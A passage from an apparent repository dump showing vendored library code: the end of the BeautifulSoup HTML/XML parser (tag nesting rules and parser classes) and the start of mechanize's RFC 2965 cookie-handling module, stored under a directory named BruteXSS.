etc.\"\"\"\n        return self.first(recursive=recursive, text=text)\n\n    def fetchText(self, text, recursive=True, limit=None):\n        \"\"\"Convenience method to retrieve all pieces of text matching the\n        given criteria. 'text' can be a string, a regular expression object,\n        a callable that takes a string and returns whether or not the\n        string 'matches', etc.\"\"\"\n        return self.fetch(recursive=recursive, text=text, limit=limit)\n\n    def first(self, name=None, attrs={}, recursive=True, text=None):\n        \"\"\"Return only the first child of this\n        Tag matching the given criteria.\"\"\"\n        r = Null\n        l = self.fetch(name, attrs, recursive, text, 1)\n        if l:\n            r = l[0]\n        return r\n    findChild = first\n\n    def fetch(self, name=None, attrs={}, recursive=True, text=None,\n              limit=None):\n        \"\"\"Extracts a list of Tag objects that match the given\n        criteria.  You can specify the name of the Tag and any\n        attributes you want the Tag to have.\n\n        The value of a key-value pair in the 'attrs' map can be a\n        string, a list of strings, a regular expression object, or a\n        callable that takes a string and returns whether or not the\n        string matches for some custom definition of 'matches'. The\n        same is true of the tag name.\"\"\"\n        generator = self.recursiveChildGenerator\n        if not recursive:\n            generator = self.childGenerator\n        return self._fetch(name, attrs, text, limit, generator)\n    fetchChildren = fetch\n    \n    #Utility methods\n\n    def isSelfClosing(self):\n        \"\"\"Returns true iff this is a self-closing tag as defined in the HTML\n        standard.\n\n        TODO: This is specific to BeautifulSoup and its subclasses, but it's\n        used by __str__\"\"\"\n        return self.name in BeautifulSoup.SELF_CLOSING_TAGS\n\n    def append(self, tag):\n        \"\"\"Appends the given tag to the contents of this tag.\"\"\"\n        self.contents.append(tag)\n\n    #Private methods\n\n    def _getAttrMap(self):\n        \"\"\"Initializes a map representation of this tag's attributes,\n        if not already initialized.\"\"\"\n        if not getattr(self, 'attrMap'):\n            self.attrMap = {}\n            for (key, value) in self.attrs:\n                self.attrMap[key] = value \n        return self.attrMap\n\n    #Generator methods\n    def childGenerator(self):\n        for i in range(0, len(self.contents)):\n            yield self.contents[i]\n        raise StopIteration\n    \n    def recursiveChildGenerator(self):\n        stack = [(self, 0)]\n        while stack:\n            tag, start = stack.pop()\n            if isinstance(tag, Tag):            \n                for i in range(start, len(tag.contents)):\n                    a = tag.contents[i]\n                    yield a\n                    if isinstance(a, Tag) and tag.contents:\n                        if i < len(tag.contents) - 1:\n                            stack.append((tag, i+1))\n                        stack.append((a, 0))\n                        break\n        raise StopIteration\n\n\ndef isList(l):\n    \"\"\"Convenience method that works with all 2.x versions of Python\n    to determine whether or not something is listlike.\"\"\"\n    return hasattr(l, '__iter__') \\\n           or (type(l) in (types.ListType, types.TupleType))\n\ndef buildTagMap(default, *args):\n    \"\"\"Turns a list of maps, lists, or scalars into a single map.\n    Used to build the SELF_CLOSING_TAGS and NESTABLE_TAGS maps out\n    of lists and partial maps.\"\"\"\n    built = {}\n    for portion in args:\n        if hasattr(portion, 'items'):\n            #It's a map. Merge it.\n            for k,v in portion.items():\n                built[k] = v\n        elif isList(portion):\n            #It's a list. Map each item to the default.\n            for k in portion:\n                built[k] = default\n        else:\n            #It's a scalar. Map it to the default.\n            built[portion] = default\n    return built\n\nclass BeautifulStoneSoup(Tag, SGMLParser):\n\n    \"\"\"This class contains the basic parser and fetch code. It defines\n    a parser that knows nothing about tag behavior except for the\n    following:\n   \n      You can't close a tag without closing all the tags it encloses.\n      That is, \"<foo><bar></foo>\" actually means\n      \"<foo><bar></bar></foo>\".\n\n    [Another possible explanation is \"<foo><bar /></foo>\", but since\n    this class defines no SELF_CLOSING_TAGS, it will never use that\n    explanation.]\n\n    This class is useful for parsing XML or made-up markup languages,\n    or when BeautifulSoup makes an assumption counter to what you were\n    expecting.\"\"\"\n\n    SELF_CLOSING_TAGS = {}\n    NESTABLE_TAGS = {}\n    RESET_NESTING_TAGS = {}\n    QUOTE_TAGS = {}\n\n    #As a public service we will by default silently replace MS smart quotes\n    #and similar characters with their HTML or ASCII equivalents.\n    MS_CHARS = { '\\x80' : '&euro;',\n                 '\\x81' : ' ',\n                 '\\x82' : '&sbquo;',\n                 '\\x83' : '&fnof;',\n                 '\\x84' : '&bdquo;',\n                 '\\x85' : '&hellip;',\n                 '\\x86' : '&dagger;',\n                 '\\x87' : '&Dagger;',\n                 '\\x88' : '&caret;',\n                 '\\x89' : '%',\n                 '\\x8A' : '&Scaron;',\n                 '\\x8B' : '&lt;',\n                 '\\x8C' : '&OElig;',\n                 '\\x8D' : '?',\n                 '\\x8E' : 'Z',\n                 '\\x8F' : '?',\n                 '\\x90' : '?',\n                 '\\x91' : '&lsquo;',\n                 '\\x92' : '&rsquo;',\n                 '\\x93' : '&ldquo;',\n                 '\\x94' : '&rdquo;',\n                 '\\x95' : '&bull;',\n                 '\\x96' : '&ndash;',\n                 '\\x97' : '&mdash;',\n                 '\\x98' : '&tilde;',\n                 '\\x99' : '&trade;',\n                 '\\x9a' : '&scaron;',\n                 '\\x9b' : '&gt;',\n                 '\\x9c' : '&oelig;',\n                 '\\x9d' : '?',\n                 '\\x9e' : 'z',\n                 '\\x9f' : '&Yuml;',}\n\n    PARSER_MASSAGE = [(re.compile('(<[^<>]*)/>'),\n                       lambda(x):x.group(1) + ' />'),\n                      (re.compile('<!\\s+([^<>]*)>'),\n                       lambda(x):'<!' + x.group(1) + '>'),\n                      (re.compile(\"([\\x80-\\x9f])\"),\n                       lambda(x): BeautifulStoneSoup.MS_CHARS.get(x.group(1)))\n                      ]\n\n    ROOT_TAG_NAME = '[document]'\n\n    def __init__(self, text=None, avoidParserProblems=True,\n                 initialTextIsEverything=True):\n        \"\"\"Initialize this as the 'root tag' and feed in any text to\n        the parser.\n\n        NOTE about avoidParserProblems: sgmllib will process most bad\n        HTML, and BeautifulSoup has tricks for dealing with some HTML\n        that kills sgmllib, but Beautiful Soup can nonetheless choke\n        or lose data if your data uses self-closing tags or\n        declarations incorrectly. By default, Beautiful Soup sanitizes\n        its input to avoid the vast majority of these problems. The\n        problems are relatively rare, even in bad HTML, so feel free\n        to pass in False to avoidParserProblems if they don't apply to\n        you, and you'll get better performance. The only reason I have\n        this turned on by default is so I don't get so many tech\n        support questions.\n\n        The two most common instances of invalid HTML that will choke\n        sgmllib are fixed by the default parser massage techniques:\n\n         <br/> (No space between name of closing tag and tag close)\n         <! --Comment--> (Extraneous whitespace in declaration)\n\n        You can pass in a custom list of (RE object, replace method)\n        tuples to get Beautiful Soup to scrub your input the way you\n        want.\"\"\"\n        Tag.__init__(self, self.ROOT_TAG_NAME)\n        if avoidParserProblems \\\n           and not isList(avoidParserProblems):\n            avoidParserProblems = self.PARSER_MASSAGE            \n        self.avoidParserProblems = avoidParserProblems\n        SGMLParser.__init__(self)\n        self.quoteStack = []\n        self.hidden = 1\n        self.reset()\n        if hasattr(text, 'read'):\n            #It's a file-type object.\n            text = text.read()\n        if text:\n            self.feed(text)\n        if initialTextIsEverything:\n            self.done()\n\n    def __getattr__(self, methodName):\n        \"\"\"This method routes method call requests to either the SGMLParser\n        superclass or the Tag superclass, depending on the method name.\"\"\"\n        if methodName.find('start_') == 0 or methodName.find('end_') == 0 \\\n               or methodName.find('do_') == 0:\n            return SGMLParser.__getattr__(self, methodName)\n        elif methodName.find('__') != 0:\n            return Tag.__getattr__(self, methodName)\n        else:\n            raise AttributeError\n\n    def feed(self, text):\n        if self.avoidParserProblems:\n            for fix, m in self.avoidParserProblems:\n                text = fix.sub(m, text)\n        SGMLParser.feed(self, text)\n\n    def done(self):\n        \"\"\"Called when you're done parsing, so that the unclosed tags can be\n        correctly processed.\"\"\"\n        self.endData() #NEW\n        while self.currentTag.name != self.ROOT_TAG_NAME:\n            self.popTag()\n            \n    def reset(self):\n        SGMLParser.reset(self)\n        self.currentData = []\n        self.currentTag = None\n        self.tagStack = []\n        self.pushTag(self)        \n    \n    def popTag(self):\n        tag = self.tagStack.pop()\n        # Tags with just one string-owning child get the child as a\n        # 'string' property, so that soup.tag.string is shorthand for\n        # soup.tag.contents[0]\n        if len(self.currentTag.contents) == 1 and \\\n           isinstance(self.currentTag.contents[0], NavigableText):\n            self.currentTag.string = self.currentTag.contents[0]\n\n        #print \"Pop\", tag.name\n        if self.tagStack:\n            self.currentTag = self.tagStack[-1]\n        return self.currentTag\n\n    def pushTag(self, tag):\n        #print \"Push\", tag.name\n        if self.currentTag:\n            self.currentTag.append(tag)\n        self.tagStack.append(tag)\n        self.currentTag = self.tagStack[-1]\n\n    def endData(self):\n        currentData = ''.join(self.currentData)\n        if currentData:\n            if not currentData.strip():\n                if '\\n' in currentData:\n                    currentData = '\\n'\n                else:\n                    currentData = ' '\n            c = NavigableString\n            if type(currentData) == types.UnicodeType:\n                c = NavigableUnicodeString\n            o = c(currentData)\n            o.setup(self.currentTag, self.previous)\n            if self.previous:\n                self.previous.next = o\n            self.previous = o\n            self.currentTag.contents.append(o)\n        self.currentData = []\n\n    def _popToTag(self, name, inclusivePop=True):\n        \"\"\"Pops the tag stack up to and including the most recent\n        instance of the given tag. If inclusivePop is false, pops the tag\n        stack up to but *not* including the most recent instqance of\n        the given tag.\"\"\"\n        if name == self.ROOT_TAG_NAME:\n            return            \n\n        numPops = 0\n        mostRecentTag = None\n        for i in range(len(self.tagStack)-1, 0, -1):\n            if name == self.tagStack[i].name:\n                numPops = len(self.tagStack)-i\n                break\n        if not inclusivePop:\n            numPops = numPops - 1\n\n        for i in range(0, numPops):\n            mostRecentTag = self.popTag()\n        return mostRecentTag    \n\n    def _smartPop(self, name):\n\n        \"\"\"We need to pop up to the previous tag of this type, unless\n        one of this tag's nesting reset triggers comes between this\n        tag and the previous tag of this type, OR unless this tag is a\n        generic nesting trigger and another generic nesting trigger\n        comes between this tag and the previous tag of this type.\n\n        Examples:\n         <p>Foo<b>Bar<p> should pop to 'p', not 'b'.\n         <p>Foo<table>Bar<p> should pop to 'table', not 'p'.\n         <p>Foo<table><tr>Bar<p> should pop to 'tr', not 'p'.\n         <p>Foo<b>Bar<p> should pop to 'p', not 'b'.\n\n         <li><ul><li> *<li>* should pop to 'ul', not the first 'li'.\n         <tr><table><tr> *<tr>* should pop to 'table', not the first 'tr'\n         <td><tr><td> *<td>* should pop to 'tr', not the first 'td'\n        \"\"\"\n\n        nestingResetTriggers = self.NESTABLE_TAGS.get(name)\n        isNestable = nestingResetTriggers != None\n        isResetNesting = self.RESET_NESTING_TAGS.has_key(name)\n        popTo = None\n        inclusive = True\n        for i in range(len(self.tagStack)-1, 0, -1):\n            p = self.tagStack[i]\n            if (not p or p.name == name) and not isNestable:\n                #Non-nestable tags get popped to the top or to their\n                #last occurance.\n                popTo = name\n                break\n            if (nestingResetTriggers != None\n                and p.name in nestingResetTriggers) \\\n                or (nestingResetTriggers == None and isResetNesting\n                    and self.RESET_NESTING_TAGS.has_key(p.name)):\n                \n                #If we encounter one of the nesting reset triggers\n                #peculiar to this tag, or we encounter another tag\n                #that causes nesting to reset, pop up to but not\n                #including that tag.\n\n                popTo = p.name\n                inclusive = False\n                break\n            p = p.parent\n        if popTo:\n            self._popToTag(popTo, inclusive)\n\n    def unknown_starttag(self, name, attrs, selfClosing=0):\n        #print \"Start tag %s\" % name\n        if self.quoteStack:\n            #This is not a real tag.\n            #print \"<%s> is not real!\" % name\n            attrs = ''.join(map(lambda(x, y): ' %s=\"%s\"' % (x, y), attrs))\n            self.handle_data('<%s%s>' % (name, attrs))\n            return\n        self.endData()\n        if not name in self.SELF_CLOSING_TAGS and not selfClosing:\n            self._smartPop(name)\n        tag = Tag(name, attrs, self.currentTag, self.previous)        \n        if self.previous:\n            self.previous.next = tag\n        self.previous = tag\n        self.pushTag(tag)\n        if selfClosing or name in self.SELF_CLOSING_TAGS:\n            self.popTag()                \n        if name in self.QUOTE_TAGS:\n            #print \"Beginning quote (%s)\" % name\n            self.quoteStack.append(name)\n            self.literal = 1\n\n    def unknown_endtag(self, name):\n        if self.quoteStack and self.quoteStack[-1] != name:\n            #This is not a real end tag.\n            #print \"</%s> is not real!\" % name\n            self.handle_data('</%s>' % name)\n            return\n        self.endData()\n        self._popToTag(name)\n        if self.quoteStack and self.quoteStack[-1] == name:\n            self.quoteStack.pop()\n            self.literal = (len(self.quoteStack) > 0)\n\n    def handle_data(self, data):\n        self.currentData.append(data)\n\n    def handle_pi(self, text):\n        \"Propagate processing instructions right through.\"\n        self.handle_data(\"<?%s>\" % text)\n\n    def handle_comment(self, text):\n        \"Propagate comments right through.\"\n        self.handle_data(\"<!--%s-->\" % text)\n\n    def handle_charref(self, ref):\n        \"Propagate char refs right through.\"\n        self.handle_data('&#%s;' % ref)\n\n    def handle_entityref(self, ref):\n        \"Propagate entity refs right through.\"\n        self.handle_data('&%s;' % ref)\n        \n    def handle_decl(self, data):\n        \"Propagate DOCTYPEs and the like right through.\"\n        self.handle_data('<!%s>' % data)\n\n    def parse_declaration(self, i):\n        \"\"\"Treat a bogus SGML declaration as raw data. Treat a CDATA\n        declaration as regular data.\"\"\"\n        j = None\n        if self.rawdata[i:i+9] == '<![CDATA[':\n             k = self.rawdata.find(']]>', i)\n             if k == -1:\n                 k = len(self.rawdata)\n             self.handle_data(self.rawdata[i+9:k])\n             j = k+3\n        else:\n            try:\n                j = SGMLParser.parse_declaration(self, i)\n            except SGMLParseError:\n                toHandle = self.rawdata[i:]\n                self.handle_data(toHandle)\n                j = i + len(toHandle)\n        return j\n\nclass BeautifulSoup(BeautifulStoneSoup):\n\n    \"\"\"This parser knows the following facts about HTML:\n\n    * Some tags have no closing tag and should be interpreted as being\n      closed as soon as they are encountered.\n\n    * The text inside some tags (ie. 'script') may contain tags which\n      are not really part of the document and which should be parsed\n      as text, not tags. If you want to parse the text as tags, you can\n      always fetch it and parse it explicitly.\n\n    * Tag nesting rules:\n\n      Most tags can't be nested at all. For instance, the occurance of\n      a <p> tag should implicitly close the previous <p> tag.\n\n       <p>Para1<p>Para2\n        should be transformed into:\n       <p>Para1</p><p>Para2\n\n      Some tags can be nested arbitrarily. For instance, the occurance\n      of a <blockquote> tag should _not_ implicitly close the previous\n      <blockquote> tag.\n\n       Alice said: <blockquote>Bob said: <blockquote>Blah\n        should NOT be transformed into:\n       Alice said: <blockquote>Bob said: </blockquote><blockquote>Blah\n\n      Some tags can be nested, but the nesting is reset by the\n      interposition of other tags. For instance, a <tr> tag should\n      implicitly close the previous <tr> tag within the same <table>,\n      but not close a <tr> tag in another table.\n\n       <table><tr>Blah<tr>Blah\n        should be transformed into:\n       <table><tr>Blah</tr><tr>Blah\n        but,\n       <tr>Blah<table><tr>Blah\n        should NOT be transformed into\n       <tr>Blah<table></tr><tr>Blah\n\n    Differing assumptions about tag nesting rules are a major source\n    of problems with the BeautifulSoup class. If BeautifulSoup is not\n    treating as nestable a tag your page author treats as nestable,\n    try ICantBelieveItsBeautifulSoup before writing your own\n    subclass.\"\"\"\n\n    SELF_CLOSING_TAGS = buildTagMap(None, ['br' , 'hr', 'input', 'img', 'meta',\n                                           'spacer', 'link', 'frame', 'base'])\n\n    QUOTE_TAGS = {'script': None}\n    \n    #According to the HTML standard, each of these inline tags can\n    #contain another tag of the same type. Furthermore, it's common\n    #to actually use these tags this way.\n    NESTABLE_INLINE_TAGS = ['span', 'font', 'q', 'object', 'bdo', 'sub', 'sup',\n                            'center']\n\n    #According to the HTML standard, these block tags can contain\n    #another tag of the same type. Furthermore, it's common\n    #to actually use these tags this way.\n    NESTABLE_BLOCK_TAGS = ['blockquote', 'div', 'fieldset', 'ins', 'del']\n\n    #Lists can contain other lists, but there are restrictions.    \n    NESTABLE_LIST_TAGS = { 'ol' : [],\n                           'ul' : [],\n                           'li' : ['ul', 'ol'],\n                           'dl' : [],\n                           'dd' : ['dl'],\n                           'dt' : ['dl'] }\n\n    #Tables can contain other tables, but there are restrictions.    \n    NESTABLE_TABLE_TAGS = {'table' : [], \n                           'tr' : ['table', 'tbody', 'tfoot', 'thead'],\n                           'td' : ['tr'],\n                           'th' : ['tr'],\n                           }\n\n    NON_NESTABLE_BLOCK_TAGS = ['address', 'form', 'p', 'pre']\n\n    #If one of these tags is encountered, all tags up to the next tag of\n    #this type are popped.\n    RESET_NESTING_TAGS = buildTagMap(None, NESTABLE_BLOCK_TAGS, 'noscript',\n                                     NON_NESTABLE_BLOCK_TAGS,\n                                     NESTABLE_LIST_TAGS,\n                                     NESTABLE_TABLE_TAGS)\n\n    NESTABLE_TAGS = buildTagMap([], NESTABLE_INLINE_TAGS, NESTABLE_BLOCK_TAGS,\n                                NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS)\n    \nclass ICantBelieveItsBeautifulSoup(BeautifulSoup):\n\n    \"\"\"The BeautifulSoup class is oriented towards skipping over\n    common HTML errors like unclosed tags. However, sometimes it makes\n    errors of its own. For instance, consider this fragment:\n\n     <b>Foo<b>Bar</b></b>\n\n    This is perfectly valid (if bizarre) HTML. However, the\n    BeautifulSoup class will implicitly close the first b tag when it\n    encounters the second 'b'. It will think the author wrote\n    \"<b>Foo<b>Bar\", and didn't close the first 'b' tag, because\n    there's no real-world reason to bold something that's already\n    bold. When it encounters '</b></b>' it will close two more 'b'\n    tags, for a grand total of three tags closed instead of two. This\n    can throw off the rest of your document structure. The same is\n    true of a number of other tags, listed below.\n\n    It's much more common for someone to forget to close (eg.) a 'b'\n    tag than to actually use nested 'b' tags, and the BeautifulSoup\n    class handles the common case. This class handles the\n    not-co-common case: where you can't believe someone wrote what\n    they did, but it's valid HTML and BeautifulSoup screwed up by\n    assuming it wouldn't be.\n\n    If this doesn't do what you need, try subclassing this class or\n    BeautifulSoup, and providing your own list of NESTABLE_TAGS.\"\"\"\n\n    I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS = \\\n     ['em', 'big', 'i', 'small', 'tt', 'abbr', 'acronym', 'strong',\n      'cite', 'code', 'dfn', 'kbd', 'samp', 'strong', 'var', 'b',\n      'big']\n\n    I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS = ['noscript']\n\n    NESTABLE_TAGS = buildTagMap([], BeautifulSoup.NESTABLE_TAGS,\n                                I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS,\n                                I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS)\n\nclass BeautifulSOAP(BeautifulStoneSoup):\n    \"\"\"This class will push a tag with only a single string child into\n    the tag's parent as an attribute. The attribute's name is the tag\n    name, and the value is the string child. An example should give\n    the flavor of the change:\n\n    <foo><bar>baz</bar></foo>\n     =>\n    <foo bar=\"baz\"><bar>baz</bar></foo>\n\n    You can then access fooTag['bar'] instead of fooTag.barTag.string.\n\n    This is, of course, useful for scraping structures that tend to\n    use subelements instead of attributes, such as SOAP messages. Note\n    that it modifies its input, so don't print the modified version\n    out.\n\n    I'm not sure how many people really want to use this class; let me\n    know if you do. Mainly I like the name.\"\"\"\n\n    def popTag(self):\n        if len(self.tagStack) > 1:\n            tag = self.tagStack[-1]\n            parent = self.tagStack[-2]\n            parent._getAttrMap()\n            if (isinstance(tag, Tag) and len(tag.contents) == 1 and\n                isinstance(tag.contents[0], NavigableText) and \n                not parent.attrMap.has_key(tag.name)):\n                parent[tag.name] = tag.contents[0]\n        BeautifulStoneSoup.popTag(self)\n\n#Enterprise class names! It has come to our attention that some people\n#think the names of the Beautiful Soup parser classes are too silly\n#and \"unprofessional\" for use in enterprise screen-scraping. We feel\n#your pain! For such-minded folk, the Beautiful Soup Consortium And\n#All-Night Kosher Bakery recommends renaming this file to\n#\"RobustParser.py\" (or, in cases of extreme enterprisitude,\n#\"RobustParserBeanInterface.class\") and using the following\n#enterprise-friendly class aliases:\nclass RobustXMLParser(BeautifulStoneSoup):\n    pass\nclass RobustHTMLParser(BeautifulSoup):\n    pass\nclass RobustWackAssHTMLParser(ICantBelieveItsBeautifulSoup):\n    pass\nclass SimplifyingSOAPParser(BeautifulSOAP):\n    pass\n\n###\n\n\n#By default, act as an HTML pretty-printer.\nif __name__ == '__main__':\n    import sys\n    soup = BeautifulStoneSoup(sys.stdin.read())\n    print soup.prettify()\n"
  },
  {
    "path": "BruteXSS/mechanize/_clientcookie.py",
    "content": "\"\"\"HTTP cookie handling for web clients.\n\nThis module originally developed from my port of Gisle Aas' Perl module\nHTTP::Cookies, from the libwww-perl library.\n\nDocstrings, comments and debug strings in this code refer to the\nattributes of the HTTP cookie system as cookie-attributes, to distinguish\nthem clearly from Python attributes.\n\n                        CookieJar____\n                        /     \\      \\\n            FileCookieJar      \\      \\\n             /    |   \\         \\      \\\n MozillaCookieJar | LWPCookieJar \\      \\\n                  |               |      \\\n                  |   ---MSIEBase |       \\\n                  |  /      |     |        \\\n                  | /   MSIEDBCookieJar BSDDBCookieJar\n                  |/    \n               MSIECookieJar\n\nComments to John J Lee <jjl@pobox.com>.\n\n\nCopyright 2002-2006 John J Lee <jjl@pobox.com>\nCopyright 1997-1999 Gisle Aas (original libwww-perl code)\nCopyright 2002-2003 Johnny Lee (original MSIE Perl code)\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses (see the file\nCOPYING.txt included with the distribution).\n\n\"\"\"\n\nimport sys, re, copy, time, urllib, types, logging\ntry:\n    import threading\n    _threading = threading; del threading\nexcept ImportError:\n    import dummy_threading\n    _threading = dummy_threading; del dummy_threading\n\nMISSING_FILENAME_TEXT = (\"a filename was not supplied (nor was the CookieJar \"\n                         \"instance initialised with one)\")\nDEFAULT_HTTP_PORT = \"80\"\n\nfrom _headersutil import split_header_words, parse_ns_headers\nfrom _util import isstringlike\nimport _rfc3986\n\ndebug = logging.getLogger(\"mechanize.cookies\").debug\n\n\ndef reraise_unmasked_exceptions(unmasked=()):\n    # There are a few catch-all except: statements in this module, for\n    # catching input that's bad in unexpected ways.\n    # This function re-raises some exceptions we don't want to trap.\n    import mechanize, warnings\n    if not mechanize.USE_BARE_EXCEPT:\n        raise\n    unmasked = unmasked + (KeyboardInterrupt, SystemExit, MemoryError)\n    etype = sys.exc_info()[0]\n    if issubclass(etype, unmasked):\n        raise\n    # swallowed an exception\n    import traceback, StringIO\n    f = StringIO.StringIO()\n    traceback.print_exc(None, f)\n    msg = f.getvalue()\n    warnings.warn(\"mechanize bug!\\n%s\" % msg, stacklevel=2)\n\n\nIPV4_RE = re.compile(r\"\\.\\d+$\")\ndef is_HDN(text):\n    \"\"\"Return True if text is a host domain name.\"\"\"\n    # XXX\n    # This may well be wrong.  Which RFC is HDN defined in, if any (for\n    #  the purposes of RFC 2965)?\n    # For the current implementation, what about IPv6?  Remember to look\n    #  at other uses of IPV4_RE also, if change this.\n    return not (IPV4_RE.search(text) or\n                text == \"\" or\n                text[0] == \".\" or text[-1] == \".\")\n\ndef domain_match(A, B):\n    \"\"\"Return True if domain A domain-matches domain B, according to RFC 2965.\n\n    A and B may be host domain names or IP addresses.\n\n    RFC 2965, section 1:\n\n    Host names can be specified either as an IP address or a HDN string.\n    Sometimes we compare one host name with another.  (Such comparisons SHALL\n    be case-insensitive.)  Host A's name domain-matches host B's if\n\n         *  their host name strings string-compare equal; or\n\n         * A is a HDN string and has the form NB, where N is a non-empty\n            name string, B has the form .B', and B' is a HDN string.  (So,\n            x.y.com domain-matches .Y.com but not Y.com.)\n\n    Note that domain-match is not a commutative operation: a.b.c.com\n    domain-matches .c.com, but not the reverse.\n\n    \"\"\"\n    # Note that, if A or B are IP addresses, the only relevant part of the\n    # definition of the domain-match algorithm is the direct string-compare.\n    A = A.lower()\n    B = B.lower()\n    if A == B:\n        return True\n    if not is_HDN(A):\n        return False\n    i = A.rfind(B)\n    has_form_nb = not (i == -1 or i == 0)\n    return (\n        has_form_nb and\n        B.startswith(\".\") and\n        is_HDN(B[1:])\n        )\n\ndef liberal_is_HDN(text):\n    \"\"\"Return True if text is a sort-of-like a host domain name.\n\n    For accepting/blocking domains.\n\n    \"\"\"\n    return not IPV4_RE.search(text)\n\ndef user_domain_match(A, B):\n    \"\"\"For blocking/accepting domains.\n\n    A and B may be host domain names or IP addresses.\n\n    \"\"\"\n    A = A.lower()\n    B = B.lower()\n    if not (liberal_is_HDN(A) and liberal_is_HDN(B)):\n        if A == B:\n            # equal IP addresses\n            return True\n        return False\n    initial_dot = B.startswith(\".\")\n    if initial_dot and A.endswith(B):\n        return True\n    if not initial_dot and A == B:\n        return True\n    return False\n\ncut_port_re = re.compile(r\":\\d+$\")\ndef request_host(request):\n    \"\"\"Return request-host, as defined by RFC 2965.\n\n    Variation from RFC: returned value is lowercased, for convenient\n    comparison.\n\n    \"\"\"\n    url = request.get_full_url()\n    host = _rfc3986.urlsplit(url)[1]\n    if host is None:\n        host = request.get_header(\"Host\", \"\")\n    # remove port, if present\n    return cut_port_re.sub(\"\", host, 1)\n\ndef request_host_lc(request):\n    return request_host(request).lower()\n\ndef eff_request_host(request):\n    \"\"\"Return a tuple (request-host, effective request-host name).\"\"\"\n    erhn = req_host = request_host(request)\n    if req_host.find(\".\") == -1 and not IPV4_RE.search(req_host):\n        erhn = req_host + \".local\"\n    return req_host, erhn\n\ndef eff_request_host_lc(request):\n    req_host, erhn = eff_request_host(request)\n    return req_host.lower(), erhn.lower()\n\ndef effective_request_host(request):\n    \"\"\"Return the effective request-host, as defined by RFC 2965.\"\"\"\n    return eff_request_host(request)[1]\n\ndef request_path(request):\n    \"\"\"Return path component of request-URI, as defined by RFC 2965.\"\"\"\n    url = request.get_full_url()\n    path = escape_path(_rfc3986.urlsplit(url)[2])\n    if not path.startswith(\"/\"):\n        path = \"/\" + path\n    return path\n\ndef request_port(request):\n    host = request.get_host()\n    i = host.find(':')\n    if i >= 0:\n        port = host[i+1:]\n        try:\n            int(port)\n        except ValueError:\n            debug(\"nonnumeric port: '%s'\", port)\n            return None\n    else:\n        port = DEFAULT_HTTP_PORT\n    return port\n\ndef request_is_unverifiable(request):\n    try:\n        return request.is_unverifiable()\n    except AttributeError:\n        if hasattr(request, \"unverifiable\"):\n            return request.unverifiable\n        else:\n            raise\n\n# Characters in addition to A-Z, a-z, 0-9, '_', '.', and '-' that don't\n# need to be escaped to form a valid HTTP URL (RFCs 2396 and 1738).\nHTTP_PATH_SAFE = \"%/;:@&=+$,!~*'()\"\nESCAPED_CHAR_RE = re.compile(r\"%([0-9a-fA-F][0-9a-fA-F])\")\ndef uppercase_escaped_char(match):\n    return \"%%%s\" % match.group(1).upper()\ndef escape_path(path):\n    \"\"\"Escape any invalid characters in HTTP URL, and uppercase all escapes.\"\"\"\n    # There's no knowing what character encoding was used to create URLs\n    # containing %-escapes, but since we have to pick one to escape invalid\n    # path characters, we pick UTF-8, as recommended in the HTML 4.0\n    # specification:\n    # http://www.w3.org/TR/REC-html40/appendix/notes.html#h-B.2.1\n    # And here, kind of: draft-fielding-uri-rfc2396bis-03\n    # (And in draft IRI specification: draft-duerst-iri-05)\n    # (And here, for new URI schemes: RFC 2718)\n    if isinstance(path, types.UnicodeType):\n        path = path.encode(\"utf-8\")\n    path = urllib.quote(path, HTTP_PATH_SAFE)\n    path = ESCAPED_CHAR_RE.sub(uppercase_escaped_char, path)\n    return path\n\ndef reach(h):\n    \"\"\"Return reach of host h, as defined by RFC 2965, section 1.\n\n    The reach R of a host name H is defined as follows:\n\n       *  If\n\n          -  H is the host domain name of a host; and,\n\n          -  H has the form A.B; and\n\n          -  A has no embedded (that is, interior) dots; and\n\n          -  B has at least one embedded dot, or B is the string \"local\".\n             then the reach of H is .B.\n\n       *  Otherwise, the reach of H is H.\n\n    >>> reach(\"www.acme.com\")\n    '.acme.com'\n    >>> reach(\"acme.com\")\n    'acme.com'\n    >>> reach(\"acme.local\")\n    '.local'\n\n    \"\"\"\n    i = h.find(\".\")\n    if i >= 0:\n        #a = h[:i]  # this line is only here to show what a is\n        b = h[i+1:]\n        i = b.find(\".\")\n        if is_HDN(h) and (i >= 0 or b == \"local\"):\n            return \".\"+b\n    return h\n\ndef is_third_party(request):\n    \"\"\"\n\n    RFC 2965, section 3.3.6:\n\n        An unverifiable transaction is to a third-party host if its request-\n        host U does not domain-match the reach R of the request-host O in the\n        origin transaction.\n\n    \"\"\"\n    req_host = request_host_lc(request)\n    # the origin request's request-host was stuffed into request by\n    # _urllib2_support.AbstractHTTPHandler\n    return not domain_match(req_host, reach(request.origin_req_host))\n\n\ntry:\n    all\nexcept NameError:\n    # python 2.4\n    def all(iterable):\n        for x in iterable:\n            if not x:\n                return False\n        return True\n\n\nclass Cookie:\n    \"\"\"HTTP Cookie.\n\n    This class represents both Netscape and RFC 2965 cookies.\n\n    This is deliberately a very simple class.  It just holds attributes.  It's\n    possible to construct Cookie instances that don't comply with the cookie\n    standards.  CookieJar.make_cookies is the factory function for Cookie\n    objects -- it deals with cookie parsing, supplying defaults, and\n    normalising to the representation used in this class.  CookiePolicy is\n    responsible for checking them to see whether they should be accepted from\n    and returned to the server.\n\n    version: integer;\n    name: string;\n    value: string (may be None);\n    port: string; None indicates no attribute was supplied (e.g. \"Port\", rather\n     than eg. \"Port=80\"); otherwise, a port string (eg. \"80\") or a port list\n     string (e.g. \"80,8080\")\n    port_specified: boolean; true if a value was supplied with the Port\n     cookie-attribute\n    domain: string;\n    domain_specified: boolean; true if Domain was explicitly set\n    domain_initial_dot: boolean; true if Domain as set in HTTP header by server\n     started with a dot (yes, this really is necessary!)\n    path: string;\n    path_specified: boolean; true if Path was explicitly set\n    secure:  boolean; true if should only be returned over secure connection\n    expires: integer; seconds since epoch (RFC 2965 cookies should calculate\n     this value from the Max-Age attribute)\n    discard: boolean, true if this is a session cookie; (if no expires value,\n     this should be true)\n    comment: string;\n    comment_url: string;\n    rfc2109: boolean; true if cookie arrived in a Set-Cookie: (not\n     Set-Cookie2:) header, but had a version cookie-attribute of 1\n    rest: mapping of other cookie-attributes\n\n    Note that the port may be present in the headers, but unspecified (\"Port\"\n    rather than\"Port=80\", for example); if this is the case, port is None.\n\n    